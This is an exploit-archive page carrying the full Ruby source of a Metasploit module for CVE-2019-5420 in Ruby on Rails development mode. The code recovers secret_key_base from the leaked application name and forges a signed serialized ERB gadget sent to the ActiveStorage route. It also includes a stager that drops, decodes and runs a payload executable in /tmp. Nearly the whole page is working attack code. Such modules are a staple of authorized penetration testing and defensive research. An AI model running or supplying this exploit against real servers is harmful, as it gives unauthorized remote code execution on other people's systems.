exploit the possibilities

Ruby On Rails DoubleTap Development Mode secret_key_base Remote Code Execution

Ruby On Rails DoubleTap Development Mode secret_key_base Remote Code Execution
Posted May 1, 2019
Authored by sinn3r, mpgn, ooooooo_q | Site metasploit.com

This Metasploit module exploits a vulnerability in Ruby on Rails. In development mode, a Rails application would use its name as the secret_key_base, and can be easily extracted by visiting an invalid resource for a path. As a result, this allows a remote user to create and deliver a signed serialized payload, load it by the application, and gain remote code execution.

tags | exploit, remote, code execution, ruby
advisories | CVE-2019-5420
MD5 | af50d1f86ede2ddcb95a3900ee62a058

Ruby On Rails DoubleTap Development Mode secret_key_base Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails
application would use its name as the secret_key_base, and can be easily extracted by
visiting an invalid resource for a path. As a result, this allows a remote user to
create and deliver a signed serialized payload, load it by the application, and gain
remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'ooooooo_q', # Reported the vuln on hackerone
'mpgn', # Proof-of-Concept
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-5420' ],
[ 'URL', 'https://hackerone.com/reports/473888' ],
[ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
[ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ]
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Ruby on Rails 5.2 and prior', { } ]
],
'DefaultOptions' =>
{
'RPORT' => 3000
},
'Notes' =>
{
'AKA' => [ 'doubletap' ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2019',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
])
end

NO_RAILS_ROOT_MSG = 'No Rails.root info'

# These mocked classes are borrowed from Rails 5. I had to do this because Metasploit
# still uses Rails 4, and we don't really know when we will be able to upgrade it.

class Messages
class Metadata
def initialize(message, expires_at = nil, purpose = nil)
@message, @expires_at, @purpose = message, expires_at, purpose
end

def as_json(options = {})
{ _rails: { message: @message, exp: @expires_at, pur: @purpose } }
end

def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil)
if expires_at || expires_in || purpose
ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose)
else
message
end
end

private

def self.pick_expiry(expires_at, expires_in)
if expires_at
expires_at.utc.iso8601(3)
elsif expires_in
Time.now.utc.advance(seconds: expires_in).iso8601(3)
end
end

def self.encode(message)
Rex::Text::encode_base64(message)
end
end
end

class MessageVerifier
def initialize(secret, options = {})
raise ArgumentError, 'Secret should not be nil.' unless secret
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end

def generate(value, expires_at: nil, expires_in: nil, purpose: nil)
data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))
"#{data}--#{generate_digest(data)}"
end

private

def generate_digest(data)
require "openssl" unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
end

def encode(message)
Rex::Text::encode_base64(message)
end
end

def check
check_code = CheckCode::Safe
app_name = get_application_name
check_code = CheckCode::Appears unless app_name.blank?
test_payload = %Q|puts 1|
rails_payload = generate_rails_payload(app_name, test_payload)
result = send_serialized_payload(rails_payload)
check_code = CheckCode::Vulnerable if result
check_code
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG
CheckCode::Unknown
end

# Returns information about Rails.root if we retrieve an invalid path under rails.
def get_rails_root_info
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)),
})

fail_with(Failure::Unknown, 'No response from the server') unless res
html = res.get_html_document
rails_root_node = html.at('//code[contains(text(), "Rails.root:")]')
fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node
root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first
report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data)
root_info_value
end

# Returns the application name based on Rails.root. It seems in development mode, the
# application name is used as a secret_key_base to encrypt/decrypt data.
def get_application_name
root_info = get_rails_root_info
root_info.split('/').last.capitalize
end

# Returns the stager code that writes the payload to disk so we can execute it.
def get_stager_code
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
register_file_for_cleanup(b64_fname, bin_fname)
p = Rex::Text.encode_base64(generate_payload_exe)

c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
c << "%x(chmod +x #{bin_fname}); "
c << "%x(#{bin_fname})"
c
end

# Returns the serialized payload that is embedded with our malicious payload.
def generate_rails_payload(app_name, ruby_payload)
secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application")
keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
secret = keygen.generate_key('ActiveStorage')
verifier = MessageVerifier.new(secret)
erb = ERB.allocate
erb.instance_variable_set :@src, ruby_payload
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
verifier.generate(dump_target, purpose: :blob_key)
end

# Sending the serialized payload
# If the payload fails, the server should return 404. If successful, then 200.
def send_serialized_payload(rails_payload)
res = send_request_cgi({
'method' => 'GET',
'uri' => "/rails/active_storage/disk/#{rails_payload}/test",
})

if res && res.code != 200
print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.")
print_error('The expected response should be HTTP 200.')

# This indicates the server did not accept the payload
return false
end

# This is used to indicate the server accepted the payload
true
end

def exploit
print_status("Attempting to retrieve the application name...")
app_name = get_application_name
print_status("The application name is: #{app_name}")

stager = get_stager_code
print_status("Stager ready: #{stager.length} bytes")

rails_payload = generate_rails_payload(app_name, stager)
print_status("Sending serialized payload to target (#{rails_payload.length} bytes)")
send_serialized_payload(rails_payload)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    19 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close